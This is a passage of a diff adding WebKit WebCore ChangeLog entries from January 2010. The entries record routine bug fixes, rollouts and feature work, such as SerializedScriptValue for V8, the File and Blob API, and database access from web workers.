+        * html/HTMLLinkElement.cpp:
+        (WebCore::HTMLLinkElement::setCSSStyleSheet):
+        * html/HTMLLinkElement.h:
+        * loader/CachedCSSStyleSheet.cpp:
+        (WebCore::CachedCSSStyleSheet::didAddClient):
+        (WebCore::CachedCSSStyleSheet::checkNotify): This code now passes both
+        the original and final URL into setCSSStyleSheet so that the style
+        sheet can have both.
+        * loader/CachedResourceClient.h:
+        (WebCore::CachedResourceClient::setCSSStyleSheet):
+        (WebCore::CachedResourceClient::setXSLStyleSheet):
+        * loader/CachedXSLStyleSheet.cpp:
+        (WebCore::CachedXSLStyleSheet::didAddClient):
+        (WebCore::CachedXSLStyleSheet::checkNotify): I don't have any direct
+        evidence that we need to change the XSLStyleSheet behavior, which is
+        why I wasn't able to add a test for the behavior.  However, the objects
+        are parallel enough that it seemed like the right thing to do.
+        * xml/XSLImportRule.cpp:
+        (WebCore::XSLImportRule::setXSLStyleSheet):
+        (WebCore::XSLImportRule::loadSheet):
+        * xml/XSLImportRule.h:
+        * xml/XSLStyleSheet.h:
+        (WebCore::XSLStyleSheet::create):
+        (WebCore::XSLStyleSheet::createEmbedded):
+        * xml/XSLStyleSheetLibxslt.cpp:
+        (WebCore::XSLStyleSheet::XSLStyleSheet):
+        (WebCore::XSLStyleSheet::parseString):
+        (WebCore::XSLStyleSheet::loadChildSheets):
+        * xml/XSLStyleSheetQt.cpp:
+        (WebCore::XSLStyleSheet::XSLStyleSheet):
+        * xml/XSLTProcessorLibxslt.cpp:
+        (WebCore::xsltStylesheetPointer):
+        * xml/XSLTProcessorQt.cpp:
+        (WebCore::XSLTProcessor::transformToString):
+
+2010-01-20  Kwang Yul Seo  <skyul@company100.net>
+
+        Reviewed by Alexey Proskuryakov.
+
+        Use xmlStrdup instead of strdup for consistency in Libxml2.
+        https://bugs.webkit.org/show_bug.cgi?id=33935
+
+        Remove the direct use of strdup.
+
+        * dom/XMLTokenizerLibxml2.cpp:
+        (WebCore::PendingCallbacks::appendErrorCallback):
+        (WebCore::PendingCallbacks::):
+        (WebCore::XMLTokenizer::error):
+
+2010-01-20  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        Insufficient repaint issues with html embedded in foreignObject
+        https://bugs.webkit.org/show_bug.cgi?id=16318
+
+        Final part of fix -- now we render the selection rect of list
+        markers in a transformed context.
+
+        * rendering/RenderListMarker.cpp:
+        (WebCore::RenderListMarker::localSelectionRect):
+        (WebCore::RenderListMarker::paint):
+        * rendering/RenderListMarker.h:
+
+2010-01-20  Daniel Bates  <dbates@webkit.org>
+
+        No review, rolling out 53591.
+        http://trac.webkit.org/changeset/53591
+        https://bugs.webkit.org/show_bug.cgi?id=29564
+
+        Rolling out the change committed in change set 53591
+        <http://trac.webkit.org/changeset/53591> because it caused
+        a regression of test /fast/replaced/table-percent-height.html
+        on the Qt bot.
+
+        * platform/qt/RenderThemeQt.cpp:
+        (WebCore::RenderThemeQt::adjustButtonStyle):
+
+2010-01-20  Stephen White  <senorblanco@chromium.org>
+
+        Reviewed by David Levin.
+
+        Disable the "seatbelt" coordinate validation functions in the
+        Skia graphics layer.  We believe all the underlying bugs have
+        been fixed, but just in case we're being overly optimistic, this
+        leaves in the code for an easy revert.
+
+        https://bugs.webkit.org/show_bug.cgi?id=33908
+        Exercised by many layout tests.
+
+        * platform/graphics/skia/GraphicsContextSkia.cpp:
+
+2010-01-20  Kent Tamura  <tkent@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        HTMLInputElement::valueAsDate setter support for type=date.
+        https://bugs.webkit.org/show_bug.cgi?id=33911
+
+        Introduce ISODateTime::setMillisecondsSinceEpochForDate() and add Date
+        type support to ISODateTime::toString().
+
+        * html/HTMLInputElement.cpp:
+        (WebCore::HTMLInputElement::setValueAsDate):
+        * html/ISODateTime.cpp:
+        (WebCore::ISODateTime::setMillisecondsSinceEpochForDate):
+        (WebCore::ISODateTime::toString):
+        * html/ISODateTime.h:
+
+2010-01-20  Ben Murdoch  <benm@google.com>
+
+        Reviewed by Simon Hausmann.
+
+        Touch Events are not sent to iframes
+        https://bugs.webkit.org/show_bug.cgi?id=33894
+
+        Fix the touch event handler so it does not bail out early if the main frame document does not have any touch listeners registered, as there may be embedded iframes that have registered for touch events.
+
+        Test: fast/events/touch/touch-inside-iframe.html
+
+        * page/EventHandler.cpp:
+        (WebCore::EventHandler::handleTouchEvent): Instead of looking at the document of the main frame to see if touch event listeners are registered, look at the document of the target element to account for iframes.
+
+2010-01-20  Michael Nordman  <michaeln@google.com>
+
+        Reviewed by Alexey Proskuryakov.
+
+        Remove an assertion that is not valid in some detached iframes cases.
+        https://bugs.webkit.org/show_bug.cgi?id=33827
+
+        Test: http/tests/appcache/detached-iframe.html
+
+        * loader/appcache/DOMApplicationCache.cpp:
+        (WebCore::DOMApplicationCache::DOMApplicationCache):
+
+2010-01-20  Eric Uhrhane  <ericu@chromium.org>
+
+        Reviewed by Dmitry Titov.
+
+        Refactoring and plumbing to get the HTML5 SQL Database API accessible to
+        web workers.  No new functionality is exposed yet; this just gets the
+        infrastructure in place.  It touches a lot of files in small ways; here
+        are the main changes:
+
+        1) Database members and methods move from Document up to
+        ScriptExecutionContext.  Each of Document and WorkerContext must
+        implement a few virtual methods where the Database code requires
+        differentiation.
+        2) Worker thread shutdown got changed a bunch to handle Database cleanup
+        and thread synchronization issues.  Database cleanup tasks need to post
+        some cleanup tasks to the JavaScript thread.  However, since database
+        cleanup may happen due to the destruction of the WorkerThread, I added a
+        handshake [involving WorkerThreadShutdownStartTask,
+        WorkerThreadShutdownFinishTask, and a DatabaseTaskSynchronizer] between
+        the Database thread and WorkerThread that cleans up all the Database
+        stuff before the WorkerThread's runLoop can exit.
+        3) The runtime enabler for the Database moved to a static variable
+        accessible through Database::isAvailable, following the model used by
+        WebSocket.
+        4) Worker threads don't run their JavaScript on the Main thread, so
+        Database code that differentiated between the Main thread and the
+        Database thread now need to deal with a third possibility.
+        5) Most of the other changes have to do with having a
+        ScriptExecutionContext pointer instead of a Document pointer when
+        dealing with a Database.  In many cases it's just a string replacement,
+        but in some it required the creation of a new virtual function [e.g.
+        databaseExceededQuota, isDatabaseReadOnly]
+
+        https://bugs.webkit.org/show_bug.cgi?id=22725
+
+        No new tests; in a future patch I'll add JSC and V8 bindings and new
+        layout tests to exercise them.
+
+        * bindings/v8/custom/V8DOMWindowCustom.cpp:
+        (WebCore::V8DOMWindow::OpenDatabaseEnabled):
+        * dom/Document.cpp:
+        (WebCore::Document::Document):
+        (WebCore::Document::~Document):
+        (WebCore::Document::isDatabaseReadOnly):
+        (WebCore::Document::databaseExceededQuota):
+        (WebCore::Document::isContextThread):
+        * dom/Document.h:
+        * dom/ScriptExecutionContext.cpp:
+        (WebCore::ScriptExecutionContext::ScriptExecutionContext):
+        (WebCore::ScriptExecutionContext::~ScriptExecutionContext):
+        (WebCore::ScriptExecutionContext::databaseThread):
+        (WebCore::ScriptExecutionContext::addOpenDatabase):
+        (WebCore::ScriptExecutionContext::removeOpenDatabase):
+        (WebCore::ScriptExecutionContext::stopDatabases):
+        * dom/ScriptExecutionContext.h:
+        (WebCore::ScriptExecutionContext::setHasOpenDatabases):
+        (WebCore::ScriptExecutionContext::hasOpenDatabases):
+        (WebCore::ScriptExecutionContext::Task::isCleanupTask):
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::stopLoading):
+        * storage/Database.cpp:
+        (WebCore::Database::setIsAvailable):
+        (WebCore::Database::isAvailable):
+        (WebCore::Database::openDatabase):
+        (WebCore::Database::Database):
+        (WebCore::DerefContextTask::create):
+        (WebCore::DerefContextTask::performTask):
+        (WebCore::DerefContextTask::isCleanupTask):
+        (WebCore::Database::~Database):
+        (WebCore::Database::openAndVerifyVersion):
+        (WebCore::Database::markAsDeletedAndClose):
+        (WebCore::ContextRemoveOpenDatabaseTask::create):
+        (WebCore::ContextRemoveOpenDatabaseTask::performTask):
+        (WebCore::ContextRemoveOpenDatabaseTask::isCleanupTask):
+        (WebCore::ContextRemoveOpenDatabaseTask::ContextRemoveOpenDatabaseTask):
+        (WebCore::Database::close):
+        (WebCore::Database::performOpenAndVerify):
+        (WebCore::Database::scheduleTransaction):
+        (WebCore::Database::scheduleTransactionStep):
+        (WebCore::DeliverPendingCallbackTask::create):
+        (WebCore::DeliverPendingCallbackTask::performTask):
+        (WebCore::DeliverPendingCallbackTask::DeliverPendingCallbackTask):
+        (WebCore::Database::scheduleTransactionCallback):
+        (WebCore::Database::transactionClient):
+        (WebCore::Database::transactionCoordinator):
+        (WebCore::Database::tableNames):
+        (WebCore::Database::securityOrigin):
+        * storage/Database.h:
+        (WebCore::Database::scriptExecutionContext):
+        * storage/DatabaseTask.h:
+        * storage/DatabaseThread.cpp:
+        (WebCore::DatabaseThread::DatabaseThread):
+        (WebCore::DatabaseThread::~DatabaseThread):
+        (WebCore::DatabaseThread::requestTermination):
+        (WebCore::DatabaseThread::databaseThread):
+        (WebCore::DatabaseThread::unscheduleDatabaseTasks):
+        * storage/DatabaseThread.h:
+        * storage/DatabaseTracker.cpp:
+        (WebCore::DatabaseTracker::canEstablishDatabase):
+        (WebCore::DatabaseTracker::getMaxSizeForDatabase):
+        * storage/DatabaseTracker.h:
+        * storage/SQLTransaction.cpp:
+        (WebCore::SQLTransaction::executeSQL):
+        * storage/SQLTransactionClient.cpp:
+        (WebCore::SQLTransactionClient::didCommitTransaction):
+        (WebCore::SQLTransactionClient::didExecuteStatement):
+        (WebCore::SQLTransactionClient::didExceedQuota):
+        * storage/chromium/DatabaseTrackerChromium.cpp:
+        (WebCore::DatabaseTracker::canEstablishDatabase):
+        (WebCore::DatabaseTracker::addOpenDatabase):
+        (WebCore::TrackerRemoveOpenDatabaseTask::create):
+        (WebCore::TrackerRemoveOpenDatabaseTask::performTask):
+        (WebCore::TrackerRemoveOpenDatabaseTask::TrackerRemoveOpenDatabaseTask):
+        (WebCore::DatabaseTracker::removeOpenDatabase):
+        (WebCore::DatabaseTracker::getMaxSizeForDatabase):
+        * storage/chromium/SQLTransactionClientChromium.cpp:
+        (WebCore::NotifyDatabaseChangedTask::create):
+        (WebCore::NotifyDatabaseChangedTask::performTask):
+        (WebCore::NotifyDatabaseChangedTask::NotifyDatabaseChangedTask):
+        (WebCore::SQLTransactionClient::didCommitTransaction):
+        (WebCore::SQLTransactionClient::didExecuteStatement):
+        (WebCore::SQLTransactionClient::didExceedQuota):
+        * workers/WorkerContext.cpp:
+        (WebCore::WorkerContext::openDatabase):
+        (WebCore::WorkerContext::isContextThread):
+        * workers/WorkerContext.h:
+        (WebCore::WorkerContext::clearScript):
+        (WebCore::WorkerContext::thread):
+        (WebCore::WorkerContext::isDatabaseReadOnly):
+        (WebCore::WorkerContext::databaseExceededQuota):
+        * workers/WorkerRunLoop.cpp:
+        (WebCore::WorkerRunLoop::runInMode):
+        (WebCore::WorkerRunLoop::Task::performTask):
+        * workers/WorkerThread.cpp:
+        (WebCore::WorkerThread::workerThread):
+        (WebCore::WorkerThreadShutdownFinishTask::create):
+        (WebCore::WorkerThreadShutdownFinishTask::performTask):
+        (WebCore::WorkerThreadShutdownFinishTask::isCleanupTask):
+        (WebCore::WorkerThreadShutdownStartTask::create):
+        (WebCore::WorkerThreadShutdownStartTask::performTask):
+        (WebCore::WorkerThreadShutdownStartTask::isCleanupTask):
+        (WebCore::WorkerThread::stop):
+
+2010-01-20  Fumitoshi Ukai  <ukai@chromium.org>
+
+        Reviewed by Alexey Proskuryakov.
+
+        WebSocket: Request-URI should not be empty when no tralling slash in host
+        https://bugs.webkit.org/show_bug.cgi?id=33689
+
+        Test: websocket/tests/url-no-trailing-slash.html
+
+        * websockets/WebSocketHandshake.cpp:
+        (WebCore::resourceName):
+
+2010-01-20  Daniel Bates  <dbates@webkit.org>
+
+        Reviewed by Tor Arne Vestbø.
+
+        https://bugs.webkit.org/show_bug.cgi?id=29564
+
+        [Qt] Fixes an issue where the height of <button>- and
+        <input type="button">- elements are fixed to the height of the
+        button label font plus padding. That is, the CSS height property
+        is being ignored.
+
+        Instead, we should honor the user-specified height, if appropriate
+        for the platform and context. Notice, the Mac ports do not honor the
+        height for <input type="button"> elements unless a border and/or
+        background is also specified.
+
+        Test: fast/css/button-height.html
+
+        * platform/qt/RenderThemeQt.cpp:
+        (WebCore::RenderThemeQt::RenderThemeQt):
+        (WebCore::RenderThemeQt::adjustButtonStyle):
+
+2010-01-20  Brady Eidson  <beidson@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        Assertion failure calling history.pushState within popstate event handler.
+        https://bugs.webkit.org/show_bug.cgi?id=33830
+
+        Test: fast/loader/stateobjects/pushstate-within-popstate-handler-assert.html
+
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::navigateWithinDocument): Remove the ASSERT and invalid part of the comment.
+
+2010-01-20  Nikolas Zimmermann  <nzimmermann@rim.com>
+
+        Reviewed by Oliver Hunt.
+
+        Crash on dispatching SVG mouse events
+        https://bugs.webkit.org/show_bug.cgi?id=33841
+
+        Return early SVGUseElement::instanceForShadowTreeElement if m_targetElementInstance is zero.
+        This only happens if the SVGUseElement has just been removed from the document and EventHandler
+        tries to dispatch a mouseout event to the corresponding SVGElementInstance. This is not testable
+        using DRT unfortunately, so we have to add another manual testcase for that.
+
+        Tests: manual-tests/use-crash-on-mouse-hover.svg
+
+        * manual-tests/svg-crash-hovering-use.svg: Added.
+        * svg/SVGUseElement.cpp:
+        (WebCore::SVGUseElement::instanceForShadowTreeElement): Add ASSERT(!inDocument()) when returning 0 here if m_targetElementInstance is 0.
+
+2010-01-20  Ilya Tikhonovsky  <loislo@chromium.org>
+
+        Reviewed by Pavel Feldman.
+
+        Timeline reset button doesn't clean timeline if the panel is scrolled down.
+        The overview pane also stay dirty after reset.
+        https://bugs.webkit.org/show_bug.cgi?id=33829
+
+        * inspector/front-end/TimelineGrid.js:
+        (WebInspector.TimelineGrid.prototype.updateDividers):
+        * inspector/front-end/TimelineOverviewPane.js:
+        (WebInspector.TimelineOverviewPane.prototype.reset):
+        * inspector/front-end/TimelinePanel.js:
+        (WebInspector.TimelinePanel.prototype.reset):
+        (WebInspector.TimelinePanel.prototype._refreshRecords):
+
+2010-01-20  Alexey Proskuryakov  <ap@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        https://bugs.webkit.org/show_bug.cgi?id=33930
+        Crash in JSDOMWindowBase::crossDomainAccessErrorMessage when accessing a detached sandboxed frame
+
+        Test: http/tests/security/detached-sandboxed-frame-access.html
+
+        * bindings/js/JSDOMWindowBase.cpp: (WebCore::JSDOMWindowBase::crossDomainAccessErrorMessage):
+        Changed the way we discover the url to match what the actual check does. Both old and new
+        code correctly fetch the URL of the current window displayed in frame, but going via
+        DOMWindowShell avoids crashing on null DOMWindow::m_frame pointer.
+
+2010-01-20  Vitaly Repeshko  <vitalyr@chromium.org>
+
+        Reviewed by Pavel Feldman.
+
+        [V8] Support SerializedScriptValue.
+        https://bugs.webkit.org/show_bug.cgi?id=32920
+        http://crbug.com/30620
+
+        Initial implementation of SerializedScriptValue which is used to
+        to create a serialized representation of JavaScript objects.  This
+        representation is needed for structured clones and worker messages.
+
+        * WebCore.gypi: Added SerializedScriptValue.cpp.
+        * bindings/scripts/CodeGeneratorV8.pm: Removed conversion to string before using SerializedScriptValue.
+        * bindings/v8/SerializedScriptValue.cpp: Added.
+        (WebCore::):
+        (WebCore::ZigZag::encode):
+        (WebCore::ZigZag::decode):
+        (WebCore::Writer::Writer):
+        (WebCore::Writer::writeUndefined):
+        (WebCore::Writer::writeNull):
+        (WebCore::Writer::writeTrue):
+        (WebCore::Writer::writeFalse):
+        (WebCore::Writer::writeString):
+        (WebCore::Writer::writeInt32):
+        (WebCore::Writer::writeNumber):
+        (WebCore::Writer::endComposite):
+        (WebCore::Writer::data):
+        (WebCore::Writer::doWriteUint32):
+        (WebCore::Writer::append):
+        (WebCore::Writer::ensureSpace):
+        (WebCore::Writer::fillHole):
+        (WebCore::Writer::charAt):
+        (WebCore::Serializer::Serializer):
+        (WebCore::Serializer::serialize):
+        (WebCore::Serializer::StateBase::~StateBase):
+        (WebCore::Serializer::StateBase::nextState):
+        (WebCore::Serializer::StateBase::setNextState):
+        (WebCore::Serializer::StateBase::composite):
+        (WebCore::Serializer::StateBase::StateBase):
+        (WebCore::Serializer::State::composite):
+        (WebCore::Serializer::State::tag):
+        (WebCore::Serializer::State::State):
+        (WebCore::Serializer::StackCleaner::StackCleaner):
+        (WebCore::Serializer::StackCleaner::~StackCleaner):
+        (WebCore::Serializer::ArrayState::ArrayState):
+        (WebCore::Serializer::ArrayState::done):
+        (WebCore::Serializer::ArrayState::advance):
+        (WebCore::Serializer::ObjectState::ObjectState):
+        (WebCore::Serializer::ObjectState::done):
+        (WebCore::Serializer::ObjectState::advance):
+        (WebCore::Serializer::ObjectState::nextProperty):
+        (WebCore::Serializer::doSerialize):
+        (WebCore::Serializer::push):
+        (WebCore::Serializer::top):
+        (WebCore::Serializer::pop):
+        (WebCore::Serializer::checkComposite):
+        (WebCore::Reader::Reader):
+        (WebCore::Reader::isEof):
+        (WebCore::Reader::read):
+        (WebCore::Reader::readTag):
+        (WebCore::Reader::readString):
+        (WebCore::Reader::readInt32):
+        (WebCore::Reader::readNumber):
+        (WebCore::Reader::doReadUint32):
+        (WebCore::Deserializer::Deserializer):
+        (WebCore::Deserializer::deserialize):
+        (WebCore::Deserializer::doDeserialize):
+        (WebCore::Deserializer::push):
+        (WebCore::Deserializer::pop):
+        (WebCore::Deserializer::stackDepth):
+        (WebCore::Deserializer::element):
+        (WebCore::SerializedScriptValue::SerializedScriptValue):
+        (WebCore::SerializedScriptValue::deserialize):
+        * bindings/v8/SerializedScriptValue.h:
+        (WebCore::SerializedScriptValue::create):
+        (WebCore::SerializedScriptValue::createFromWire):
+        (WebCore::SerializedScriptValue::release):
+        (WebCore::SerializedScriptValue::toWireString):
+
+        Updated uses of SerializedScriptValue:
+        * bindings/v8/custom/V8DOMWindowCustom.cpp:
+        (WebCore::V8DOMWindow::postMessageCallback):
+        * bindings/v8/custom/V8DedicatedWorkerContextCustom.cpp:
+        (WebCore::V8DedicatedWorkerContext::postMessageCallback):
+        * bindings/v8/custom/V8HistoryCustom.cpp:
+        (WebCore::V8History::pushStateCallback):
+        (WebCore::V8History::replaceStateCallback):
+        * bindings/v8/custom/V8MessageEventCustom.cpp:
+        (WebCore::V8MessageEvent::initMessageEventCallback):
+        * bindings/v8/custom/V8MessagePortCustom.cpp:
+        (WebCore::V8MessagePort::postMessageCallback):
+        * bindings/v8/custom/V8WorkerCustom.cpp:
+        (WebCore::V8Worker::postMessageCallback):
+
+2010-01-20  Steve Falkenburg  <sfalken@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        Fix crash in geolocation when observers change during iteration.
+
+        * page/GeolocationController.cpp:
+        (WebCore::GeolocationController::positionChanged): Copy observers to vector while iterating.
+        (WebCore::GeolocationController::errorOccurred): Copy observers to vector while iterating.
+
+2010-01-19  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        Insufficient repaint issues with html embedded in foreignObject
+        https://bugs.webkit.org/show_bug.cgi?id=16318
+
+        Partial fix for selection repaint in foreignObject, basically we
+        just need to make sure foreignObject correctly applies the svg
+        transform to the selection rect.
+
+        * rendering/RenderBlock.cpp:
+        (WebCore::RenderBlock::paintSelection):
+        * rendering/RenderForeignObject.cpp:
+        (WebCore::RenderForeignObject::mapLocalToContainer):
+        * rendering/RenderForeignObject.h:
+
+2010-01-20  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by NOBODY.
+
+        <rdar://problem/7557695> REGRESSION(r53445-r53449): Many new memory leaks (33867)
+
+        Revert r53447, since this caused leaks.
+
+        * WebCore.base.exp:
+        * platform/text/StringImpl.cpp:
+        (WebCore::StringImpl::operator new):
+        (WebCore::StringImpl::operator delete):
+        (WebCore::StringImpl::StringImpl):
+        (WebCore::StringImpl::~StringImpl):
+        (WebCore::StringImpl::create):
+        (WebCore::StringImpl::createWithTerminatingNullCharacter):
+        (WebCore::StringImpl::crossThreadString):
+        (WebCore::StringImpl::sharedBuffer):
+        * platform/text/StringImpl.h:
+        (WebCore::StringImpl::hasTerminatingNullCharacter):
+        (WebCore::StringImpl::inTable):
+        (WebCore::StringImpl::setInTable):
+        (WebCore::StringImpl::):
+        * storage/OriginUsageRecord.cpp:
+        (WebCore::OriginUsageRecord::addDatabase):
+        (WebCore::OriginUsageRecord::markDatabase):
+
+2010-01-20  Jian Li  <jianli@chromium.org>
+
+        Reviewed by Dmitry Titov.
+
+        Implement File and Blob interfaces as defined in File API spec.
+        https://bugs.webkit.org/show_bug.cgi?id=32912
+
+        * Android.derived.jscbindings.mk:
+        * Android.derived.v8bindings.mk:
+        * Android.mk:
+        * DerivedSources.cpp:
+        * DerivedSources.make:
+        * GNUmakefile.am:
+        * WebCore.gypi:
+        * WebCore.pri:
+        * WebCore.pro:
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.xcodeproj/project.pbxproj:
+        * WebCoreSources.bkl:
+        * bindings/js/JSXMLHttpRequestCustom.cpp:
+        (WebCore::JSXMLHttpRequest::send):
+        * bindings/objc/DOMHTML.h:
+        * bindings/objc/PublicDOMInterfaces.h:
+        * bindings/scripts/CodeGeneratorJS.pm:
+        * bindings/scripts/CodeGeneratorObjC.pm:
+        * bindings/scripts/CodeGeneratorV8.pm:
+        * bindings/v8/DOMObjectsInclude.h:
+        * bindings/v8/DerivedSourcesAllInOne.cpp:
+        * bindings/v8/V8Binding.h:
+        (WebCore::toInt64):
+        * bindings/v8/V8Index.cpp:
+        * bindings/v8/V8Index.h:
+        * bindings/v8/custom/V8XMLHttpRequestCustom.cpp:
+        (WebCore::V8XMLHttpRequest::sendCallback):
+        * html/File.cpp:
+        (WebCore::File::File):
+        * html/File.h:
+        (WebCore::File::create):
+        (WebCore::File::name):
+        (WebCore::File::fileName):
+        (WebCore::File::fileSize):
+        * html/File.idl:
+        * xml/XMLHttpRequest.cpp:
+        (WebCore::XMLHttpRequest::send):
+        * xml/XMLHttpRequest.h:
+
+2010-01-20  Chris Fleizach  <cfleizach@apple.com>
+
+        Reviewed by Beth Dakin.
+
+        WAI-ARIA popup buttons spoken as simply 'button'
+        https://bugs.webkit.org/show_bug.cgi?id=33922
+
+        Test: platform/mac/accessibility/aria-popup.html
+
+        * accessibility/AccessibilityRenderObject.cpp:
+        (WebCore::AccessibilityRenderObject::actionElement):
+        (WebCore::AccessibilityRenderObject::determineAriaRoleAttribute):
+        * html/HTMLAttributeNames.in:
+
+2010-01-19  David Levin  <levin@chromium.org>
+
+        Reviewed by Oliver Hunt.
+
+        CrossThreadCopier needs to support ThreadSafeShared better.
+        https://bugs.webkit.org/show_bug.cgi?id=33698
+
+        Now the copier is able to handle types that derive from ThreadSafeShared.
+
+        No change functionality so no new tests.
+
+        * loader/WorkerThreadableLoader.cpp:
+        (WebCore::WorkerThreadableLoader::MainThreadBridge::cancel): Remove unnecessary cast.
+        (WebCore::WorkerThreadableLoader::MainThreadBridge::clearClientWrapper): Ditto.
+        * loader/WorkerThreadableLoader.h:
+        Change to use the derived class instead of the ThreadSafeShared version.
+        * platform/CrossThreadCopier.cpp:
+        Add the new template parameter throughout the classes and adjust the class that 
+        handles ThreadSafeShared to allow for derived types.
+        * platform/CrossThreadCopier.h:
+        Add another template parameter to be able to detect classes that derive 
+        from ThreadSafeShared.
+        * websockets/WorkerThreadableWebSocketChannel.cpp:
+        Removed unnecessary casts and changed a type to use the derived class instead of
+        the ThreadSafeShared version.
+        (WebCore::WorkerThreadableWebSocketChannel::Peer::Peer):
+        (WebCore::workerContextDidSend):
+        (WebCore::workerContextDidGetBufferedAmount):
+        (WebCore::workerContextDidConnect):
+        (WebCore::workerContextDidReceiveMessage):
+        (WebCore::workerContextDidClose):
+        (WebCore::WorkerThreadableWebSocketChannel::Bridge::setWebSocketChannel):
+        (WebCore::WorkerThreadableWebSocketChannel::Bridge::mainThreadCreateWebSocketChannel):
+        (WebCore::WorkerThreadableWebSocketChannel::Bridge::send):
+        (WebCore::WorkerThreadableWebSocketChannel::Bridge::bufferedAmount):
+        (WebCore::WorkerThreadableWebSocketChannel::Bridge::clearClientWrapper):
+        (WebCore::WorkerThreadableWebSocketChannel::Bridge::setMethodNotCompleted):
+        (WebCore::WorkerThreadableWebSocketChannel::Bridge::waitForMethodCompletion):
+        * websockets/WorkerThreadableWebSocketChannel.h:
+        (WebCore::WorkerThreadableWebSocketChannel::Peer::create): Changed a type to use the
+        derived class instead of the ThreadSafeShared version.
+
+2010-01-20  Jon Honeycutt  <jhoneycutt@apple.com>
+
+        <rdar://problem/7086565> Crash in WebCore::PlugInView::dispatchNPEvent
+
+        Reviewed by Sam Weinig.
+
+        * plugins/PluginView.cpp:
+        (WebCore::PluginView::handleEvent):
+        Ref the PluginView to protect it from deletion while calling into the
+        plug-in.
+
+2010-01-20  Jon Honeycutt  <jhoneycutt@apple.com>
+
+        MSAA: accSelect() is not implemented
+
+        https://bugs.webkit.org/show_bug.cgi?id=33918
+        <rdar://problem/7436861>
+
+        Reviewed by Darin Adler.
+
+        Test: platform/win/accessibility/selection-and-focus.html
+
+        * accessibility/AccessibilityMenuListOption.cpp:
+        (WebCore::AccessibilityMenuListOption::setSelected):
+        Return early if the object is not selectable.
+
+2010-01-20  Nikolas Zimmermann  <nzimmermann@rim.com>
+
+        Not reviewed. Fix chromium build, introduced a copy&paste error.
+
+        * bindings/v8/ScriptEventListener.cpp:
+        (WebCore::createAttributeEventListener):
+
+2010-01-20  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Darin Adler.
+
+        <rdar://problem/6579204> Exception thrown when opening a <select> pop-up that
+        uses a web font
+        https://bugs.webkit.org/show_bug.cgi?id=23911
+
+        * platform/mac/PopupMenuMac.mm:
+        (WebCore::PopupMenu::populate): Use the (bold) system font if an NSFont cannot
+        be obtained.
+
+2010-01-19  Nikolas Zimmermann  <nzimmermann@rim.com>
+
+        Reviewed by Alexey Proskuryakov. 
+
+        svg/custom/use-instanceRoot-event-bubbling.xhtml is flakey
+        https://bugs.webkit.org/show_bug.cgi?id=33835
+
+        mouseEvent fires mutiple times in svg/custom/use-instanceRoot-as-event-target.xhtml
+        https://bugs.webkit.org/show_bug.cgi?id=32519
+
+        Test: svg/custom/use-instanceRoot-event-listener-liveness.xhtml
+
+        Stabilize <use> scripting support - use tests are reliable now (tested using --repeach-each 50 --random -p)
+
+        Do not reclone trees anymore because of event listener changes, instead keep correspondingElement & shadowTreeElement
+        synchronized for each SVGElementInstance - any mutations on any event listeners are live, and take immediate effect,
+        w/o having to rely on a reclone - this was the root of several race conditions making the <use> tests flakey.
+
+        Fix SVGUseElement::instanceRoot() to force shadow tree creation, even if it was not attached so far - we can't wait
+        for finishedParsing() to be called which would recalculate the document style and attach the shadow tree as result.
+        This is now matching Operas behaviour.
+
+        Optimize createAttributeEventListener() to not create event listeners if the supplied Attribute isNull() - otherwhise
+        DOM calls like removeAttribute("onclick") cause a temporary JSEventListener to be created, added to the event listener
+        cache and removed afterwards.
+
+        * bindings/js/ScriptEventListener.cpp:
+        (WebCore::createAttributeEventListener): Return early if the supplied attribute is null as discussed with Geoffrey.
+        * bindings/v8/ScriptEventListener.cpp:
+        (WebCore::createAttributeEventListener): Ditto.
+        * dom/Node.cpp: Synchronize event listeners with all element instances, instead of marking the use elements to reclone.
+        (WebCore::instancesForSVGElement):
+        (WebCore::tryAddEventListener):
+        (WebCore::Node::addEventListener): When adding a listener, get a list of element instances and add it their as well.
+        (WebCore::tryRemoveEventListener):
+        (WebCore::Node::removeEventListener): Ditto for removals, but with special logic for listeners created from markup (see comments)
+        * svg/SVGElementInstance.cpp: Cleaned up, removing unncessary checks of correspondingElement() - there is an ASSERT in the ctor.
+        (WebCore::SVGElementInstance::invalidateAllInstancesOfElement):
+        (WebCore::SVGElementInstance::scriptExecutionContext):
+        (WebCore::SVGElementInstance::addEventListener):
+        (WebCore::SVGElementInstance::removeEventListener):
+        (WebCore::SVGElementInstance::removeAllEventListeners):
+        (WebCore::SVGElementInstance::eventTargetData):
+        (WebCore::SVGElementInstance::ensureEventTargetData):
+        * svg/SVGUseElement.cpp: Call document()->updateLayoutIgnorePendingStylesheets() to force shadow tree creation, just like CSSStyleDecl works.
+        (WebCore::SVGUseElement::instanceRoot):
+
+2010-01-20  Dmitry Titov  <dimich@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        Move local utility class DocumentWeakReference entirely from Document.h into Document.cpp
+        since it is only used there. It is a followup for http://trac.webkit.org/changeset/53345.
+
+        No new tests since no change in functionality.
+
+        * dom/Document.cpp: Move definitions of the methods into declaration of the class, remove 'inline'.
+        * dom/Document.h: Replace DocumentWeakReference declaration with a forward declaration.
+
+2010-01-20  Oliver Hunt  <oliver@apple.com>
+
+        No review, rolling out r53561.
+        http://trac.webkit.org/changeset/53561
+        https://bugs.webkit.org/show_bug.cgi?id=16318
+
+        broke selection repaint for transformed text in html
+
+        * rendering/RenderBlock.cpp:
+        (WebCore::RenderBlock::paintSelection):
+        * rendering/RenderForeignObject.cpp:
+        * rendering/RenderForeignObject.h:
+
+2010-01-19  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Beth Dakin.
+
+        Insufficient repaint issues with html embedded in foreignObject
+        https://bugs.webkit.org/show_bug.cgi?id=16318
+
+        Partial fix for selection repaint in foreignObject, basically we
+        just need to make sure foreignObject correctly applies the svg
+        transform to the selection rect.
+
+        * rendering/RenderBlock.cpp:
+        (WebCore::RenderBlock::paintSelection):
+        * rendering/RenderForeignObject.cpp:
